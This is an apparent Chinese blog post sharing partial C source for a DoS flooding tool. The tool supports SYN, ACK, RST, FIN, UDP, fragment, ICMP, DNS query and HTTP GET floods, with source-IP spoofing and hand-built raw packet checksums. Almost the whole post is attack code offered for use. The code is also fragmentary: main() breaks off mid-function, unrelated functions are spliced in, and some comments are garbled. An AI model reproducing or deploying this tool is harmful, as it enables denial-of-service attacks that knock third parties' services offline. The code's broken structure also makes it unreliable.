不废话,直接上代码,

先看截图use pictures;

2.source code

部分主要代码

void help_length(void)
{
    printf("\n This is not the correct format about option \" -l \".\n"
           " format: \" :<number> | <number>: | <number_1>:<number_2> \"\n\n");
    exit (1);
}

static unsigned short inline checksum(unsigned short *buffer,int size);
unsigned int inline check_sum(char *proto,unsigned long saddr, unsigned long daddr, unsigned short *buffer, int size);

unsigned short proto_data_len=0;
char * get_rand_str(char * __proto_char,unsigned short __proto_char_len,\
                    char * __proto_str,int str_len);
char * get_rand_dn (char *__str_str,int len);
void send_tcp      (int sockfd,struct sockaddr_in *addr,char *mode);
void send_udp      (int sockfd,struct sockaddr_in *addr);
void send_icmp     (int sockfd,struct sockaddr_in *addr);
void send_udp_frag (int sockfd,struct sockaddr_in *addr);
void send_dns_query_flood (int sockfd,struct sockaddr_in *addr);
void build_dns_querybuf (char *name_str);
void build_dns_querybuf_random (char *_str_one,char *_str_second,char *_str_suffix,char *_str_str);
void send_get_flood(int sockfd,char *uri,int send_count);
void send_synclink (int sockfd,struct sockaddr_in *addr);
void send_packets_delay();

void sig_int   (int sigo);
//static void *pthread_func(void *vptr_args);

fd_set rset,drset;

struct protocol_fake_header {
    unsigned long saddr;
    unsigned long daddr;
    char mbz;
    char proto;
    unsigned short header_len;
};

struct icmphdr {
 char type;
 char code;
 unsigned short checksum;
 unsigned short id;
 unsigned short seq;
};

struct dnshdr_prefix {
 unsigned short id;         /* random() */
 unsigned short flags;      /* 0x0100 */
 unsigned short questions;  /* 0x0001 */
 unsigned short answers;    /* 0x0000 */
 unsigned short author;     /* 0x0000 */
 unsigned short addition;   /* 0x0000 */
};

struct dnshdr_suffix {
 unsigned short int type;     /* 0x0001 */
 unsigned short int class;    /* 0x0001 */
};

int i = 0;
 int a = 0;
 int port;
 int count=0;
 int nw;
 int n=0;

int gsockfd[MAX_SOCKFD];
 unsigned int send_get_number=0;
 unsigned short hostname_len;
 unsigned short iph_len;
 unsigned short tcph_len;
 unsigned short udph_len;
 unsigned short icmph_len;
 unsigned short dnsh_prefix_len;
 unsigned short dnsh_center_len;
 unsigned short dnsh_len;
 unsigned short data_len=0;
 unsigned short pkg_len;      /* length of iphdr + udphdr + dnshdr + querybuf + suffix(4) */

unsigned long packet_delay=0;
 char number ;
 char * QueryBuf;
 unsigned len_a=0,len_b;
 char _domain_name_char[]="0123456789abcdefghijklmnopqrstuvwxyz";
 char * p_str; /* used by Fun build_dns_querybuf */
 char * dn_suffix[]={"null","com","cn","net","org","gov","cc","biz"};
 char p_str_center[256];
 unsigned dn_suffix_tnum=6;
 unsigned short dn_suffix_num;
 char dn_suffix_len;
 unsigned long sum=0;

unsigned long int send_count=0;
 char PRINT_MODE[20]="SYN Flood";         /* 鏄剧ず鏇翠负鐞嗚В鐨勬敾鍑荤被鍨?鐢ㄥ湪绋嬪簭杩愯鏃舵樉绀?*/
 char *pbuf;
 char datasize[60];

char *pds;                   /* used by datasize */
 unsigned short int  data_size_max=0;
 unsigned short int  data_size_min=0;
 unsigned short int  tcp_syn_data_size_max=TCP_SYN_DATA_SIZE_MAX;
 unsigned short int  tcp_syn_data_size_min=TCP_SYN_DATA_SIZE_MIN;
 unsigned short int  udp_data_size_max;
 unsigned short int  udp_data_size_min;
 unsigned short int  icmp_data_size_max=ICMP_DATA_SIZE_MAX;
 unsigned short int  icmp_data_size_min=ICMP_DATA_SIZE_MIN;
 int sockfd;
 int dn;
 int i,ii;
 int _proto_char_len;
 char proto_data[1460]="rand";
 char buffer[1501]; /* store data from gsockfd[i] (server ) */
 char buf[20];
 int buf_len;
 char ipdata[20];
 char srcip[20];
 char domainname[50];
 char hostname[50];
 char hostport[8];
 char uri[1024]=URI;
 char mode[8]=MODE;
 char http_head_get[1024]=HTTP_HEAD_GET;

struct sockaddr_in to;
 struct hostent *host;

struct timeval tv,pdelay;
 struct timeval pstart,pend;
 unsigned long int pdelay_sec=0,pdelay_usec=0;
 float  timeuse;

struct iphdr *iph;
 struct udphdr *udph;
 struct dnshdr_prefix *dnsh_prefix;
 struct dnshdr_suffix *dnsh_suffix;

/*  ============= Main Function ========= */
int main(int argc,char **argv)
{
    if(argc!=3 && argc!=5 && argc!=7 && argc!=9 && argc!=11 && argc != 13 && argc != 15)
        help();
    int on=1;
    bzero(ipdata,20);
    bzero(srcip,20);
    bzero(&to,sizeof(to));
    int cn;
    
    while((cn=getopt(argc,argv,"c:m:h:p:S:s:u:l:d:"))!=EOF)
    {
    switch(cn)
    {
    case 'm':
        strcpy(mode,optarg);
        if(strcmp((mode),"syn")==0) {
            strcpy(PRINT_MODE,"SYN Flood");
            break;
            }
        if(strcmp((mode),"asyn")==0) {
            strcpy(PRINT_MODE,"SYN+ACK Flood");
            break;
            }
        if(strcmp((mode),"dsyn")==0) {
            strcpy(PRINT_MODE,"SYN+data Flood");
            break;
            }
        if(strcmp((mode),"dns")==0) {
            strcpy(PRINT_MODE,"DNS Query Flood");
            break;
            }
        if(strcmp((mode),"udp")==0) {
            strcpy(PRINT_MODE,"UDP Flood");
            break;
            }
        if(strcmp((mode),"icmp")==0) {
            strcpy(PRINT_MODE,"ICMP ECHO Flood");
            break;
            }
        if(strcmp((mode),"ufrag")==0) {
            strcpy(PRINT_MODE,"UDP Frag Flood");
            break;
            }
        if(strcmp((mode),"ack")==0) {
            strcpy(PRINT_MODE,"TCP ACK Flood");
            break;
            }
        if(strcmp((mode),"pack")==0) {
            strcpy(PRINT_MODE,"TCP PSH ACK Flood");
            break;
            }
        if(strcmp((mode),"rack")==0) {
            strcpy(PRINT_MODE,"TCP RST ACK Flood");
            break;
            }
        if(strcmp((mode),"fack")==0) {
            strcpy(PRINT_MODE,"TCP FIN ACK Flood");
            break;
            }
        if(strcmp((mode),"gack")==0) {
            strcpy(PRINT_MODE,"HTTP GET ACK Flood");
            break;
            }
        if(strcmp((mode),"gfld")==0) {
            strcpy(PRINT_MODE,"HTTP GET Flood");
            break;
            }
        if(strcmp((mode),"synclink")==0) {
            strcpy(PRINT_MODE,"Sync Link test");
            break;
            }
        else
            help();
        break;
    case 'h':
        strcpy(hostname,optarg);
        hostname_len=strlen(hostname);
        if(isdigit(hostname[hostname_len-1])) {
            to.sin_addr.s_addr=inet_addr(hostname);
            strcpy(ipdata,hostname);
            }
        else if((host=gethostbyname(hostname))==NULL) {
                printf(" resolv ip failed.\n");
                exit(1);
                }
            else {
                inet_ntop(AF_INET,host->h_addr_list[0],ipdata,sizeof(ipdata));
                    to.sin_addr.s_addr=inet_addr(ipdata);
                }
        break;
    case 'p':
        strcpy(hostport,optarg);
        break;
    case 'S':
        strcpy(srcip,optarg);
        break;
    case 'c':
        send_count=atoi(optarg);
        break;
    case 'u':
        strcpy(uri,optarg);
        break;
    case 's':
        strncpy(proto_data,optarg,strlen(optarg));
        break;
    case 'd':
        strcpy(buf,optarg);
        buf_len=strlen(buf);
        if(buf[buf_len-2]=='m' && buf[buf_len-1]=='s') {
            buf[buf_len-2]=0;    
            pdelay_sec=0;
            pdelay_usec=(long int)atoi(buf);
            }
        else if(buf[buf_len-1]=='s') {
            buf[buf_len-1]=0;    
            pdelay_sec=atoi(buf);
            pdelay_usec=0;
            }
            else if(isdigit(buf[buf_len-1])) {
                    pdelay_sec=0;
                    pdelay_usec=(long int)atoi(buf);
                    }
                else {printf(" enter time error.\n");exit(1);}
        break;
    case 'l':
        strcpy(datasize,optarg);
        if( (48 <= datasize[0] && datasize[0] <=58) && (48 <= datasize[strlen(datasize)-1] && datasize[strlen(datasize)-1]<= 58) )
            if( datasize[0]==':' ) {                           /*    :20   */
                pds=strtok(datasize,":");
                if(pds !=NULL) { data_size_min=DATA_SIZE_MIN; data_size_max=atoi(pds); }
                else  help_length();
                }
            else if( datasize[strlen(datasize)-1] == ':' ) {   /*   4:   */
                pds=strtok(datasize,":");
                if(pds != NULL) { data_size_min=atoi(pds); data_size_max=DATA_SIZE_MAX;}
                else  help_length();
                }
            else {                                             /*    5:9    */
                pds=strtok(datasize,":");
                if(pds != NULL)  data_size_min=atoi(pds);
                pds=strtok(NULL,":");
                if(pds != NULL)  data_size_max=atoi(pds);
                }
        else {
            }

if( data_size_max == 0) data_size_max=data_size_min;
        if( data_size_max<data_size_min)
            {
            printf(" data_size_min(100) > data_size_max(%d) !!!\n",data_size_max);
            exit (1);
            }
        if( data_size_max>1460)
            {
            printf(" data_size_max is 1460 !\n");
            exit (1);
            }
        break;
    default:
        help();
        break;        
    }
    }

if (data_size_min == 0 && data_size_max == 0)
        {
        data_size_min=DATA_SIZE_MIN;
        data_size_max=DATA_SIZE_MAX;
        }
//        printf(" datasize min=%d max=%d\n",data_size_min,data_size_max);
/* 寰楀埌闅忔満鐨勫煙鍚嶅瓧绗?*/    
char * get_rand_dn (char *___str_str,int str_len)
{
    int len=strlen(_domain_name_char);

for (ii=0;ii<str_len;ii++){
       ___str_str[ii]=_domain_name_char[rand()%(len-1)+1];
    }

//  printf (" over for \n");
  return ___str_str;
}

void send_packets_delay( )
{
    
  pdelay.tv_sec=pdelay_sec;
  pdelay.tv_usec=pdelay_usec;
#ifdef DEBUG
  printf(" pdelay.sec=%ld\n",pdelay.tv_sec);
  printf(" pdelay.usec=%ld\n",pdelay.tv_usec);
#endif

FD_ZERO(&drset);
  FD_SET(sockfd,&drset);
 
  select(sockfd+1,NULL,NULL,NULL,&pdelay);
}

/* ============ Pthread Function =========== */
/* static void *pthread_func(void *vptr_args)
{
    printf("  enter pthread[]\n");
     int sockfd;
    fd_set rset;
    if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0){
        printf(" create sockfd error from pthread_fun.\n");    
        pthread_exit("Thank you for the CPU time");
        }
    a=connect(sockfd,(struct sockaddr *)&to,sizeof(to));
    if(a==0)
        {
          write(sockfd,http_head_get,strlen(http_head_get));
        printf(" send get request to server .\n");
        
         select
        tv.tv_sec=0;
        tv.tv_usec=5;
        FD_ZERO(&rset);
        FD_SET(sockfd,&rset);
        select(sockfd+1,&rset,NULL,NULL,&tv);
         while (1)
            {
            nw++;
            if(FD_ISSET(sockfd,&rset)) {
                printf("  enter while\n");
                n=read(sockfd,buffer,1500);
                printf(" read data ....");
                if(n==0) {
                    printf(" Accept fin and close sockfd[]\n");
                    close(sockfd);
                    FD_CLR(sockfd,&rset);
                    break;
                    }
                if(n<0) {
                    printf(" Accept rst and close sockfd[]\n");
                    close(sockfd);
                    FD_CLR(sockfd,&rset);
                    break;
                    }
                else
                    printf("read data\n");
*/
//                } /* end of if(FD_ */
/*            else

printf("  not can be read \n");
            } */ /* end of while */
//        }    /* end of if(a==0) */
/*    else
        {
        
        printf(" connect_status:%d  errno=%d close_sockfd[]\n\n",a,errno);
        close(sockfd);
        }
    send_get_number++;
return 0;
}
*/

/* =============== check sum function =============== */

static unsigned short inline checksum(unsigned short *buffer,int size){

unsigned long cksum = 0;
    
    while(size>1){
        cksum += *buffer++;
        size  -= sizeof(unsigned short);
    }
    
    if(size){
        cksum += *(unsigned char *)buffer;
    }
    
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >> 16);        
    
    return((unsigned short )(~cksum));
}

unsigned int inline check_sum(char *proto,unsigned long saddr, unsigned long daddr, unsigned short *buffer, int size)
{
char *buf;
struct protocol_fake_header *pfh;
int pfh_len = sizeof(struct protocol_fake_header);

buf = (char *)malloc(pfh_len+size);
pfh = (struct protocol_fake_header *)buf;
memcpy(buf+pfh_len,buffer,size);

pfh->saddr = saddr;
pfh->daddr = daddr;
pfh->mbz = 0;

if(strcmp(proto,"tcp")==0) {
    pfh->proto = IPPROTO_TCP;
    pfh->header_len = htons(tcph_len);
    }

if(strcmp(proto,"udp")==0) {
    pfh->proto = IPPROTO_UDP;
    pfh->header_len = htons(udph_len);
    }

sum = checksum((unsigned short*)buf,pfh_len+size);
free(buf);
return (sum);
}

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